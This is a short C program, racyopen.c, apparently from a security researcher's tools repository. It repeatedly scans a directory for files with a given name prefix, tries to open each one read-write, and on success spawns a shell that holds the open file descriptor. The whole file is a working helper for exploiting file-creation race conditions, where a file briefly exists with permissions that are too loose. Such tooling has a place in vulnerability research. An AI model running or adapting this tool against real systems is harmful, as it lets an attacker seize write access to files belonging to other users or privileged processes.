strscan: make it work properly
[tools.git] / tools / racyopen.c
1 #include <errno.h>
2 #include <string.h>
3 #include <stdlib.h>
4 #include <sys/types.h>
5 #include <dirent.h>
6 #include <sys/stat.h>
7 #include <fcntl.h>
8 #include <stdio.h>
9
10 int main(int argc, char *argv[]) {
11   if (argc != 3) { puts("invocation: ./racyopen <folder> <fileprefix>"); exit(1); }
12
13   chdir(argv[1]);
14   DIR *dir = opendir(".");
15   int prefixlen = strlen(argv[2]);
16   while (1) {
17     struct dirent *dent;
18     while ((dent = readdir(dir)) != NULL) {
19       if (dent->d_name[0] == '.' && (dent->d_name[1] == '\0' || (dent->d_name[1] == '.' && dent->d_name[2] == '\0'))) continue;
20       if (strncmp(dent->d_name, argv[2], prefixlen) == 0) {
21         int fd = open(dent->d_name, O_RDWR);
22         if (fd == -1) {
23           printf("Saw a file (%s), but couldn't open it: %s\n", dent->d_name, strerror(errno));
24           continue;
25         }
26         printf("Success! Here's your shell with open fd.\n");
27         system("/bin/sh");
28         printf("\nshell exited, resuming race\n");
29       }
30     }
31     rewinddir(dir);
32   }
33 }